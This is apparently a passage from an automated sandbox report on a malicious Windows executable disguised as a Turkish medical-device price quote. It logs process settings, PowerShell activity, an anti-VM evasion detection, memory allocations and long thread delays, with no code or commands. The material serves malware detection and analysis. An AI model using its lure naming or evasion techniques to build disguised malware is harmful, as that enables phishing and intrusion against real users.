Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe PID: 7360, type: MEMORYSTR

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 1720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 3050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 5050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 7BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 7820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 8BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 9BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 2930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 2AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Memory allocated: 4AE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598789	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598577	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596717	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596608	Jump to behavior
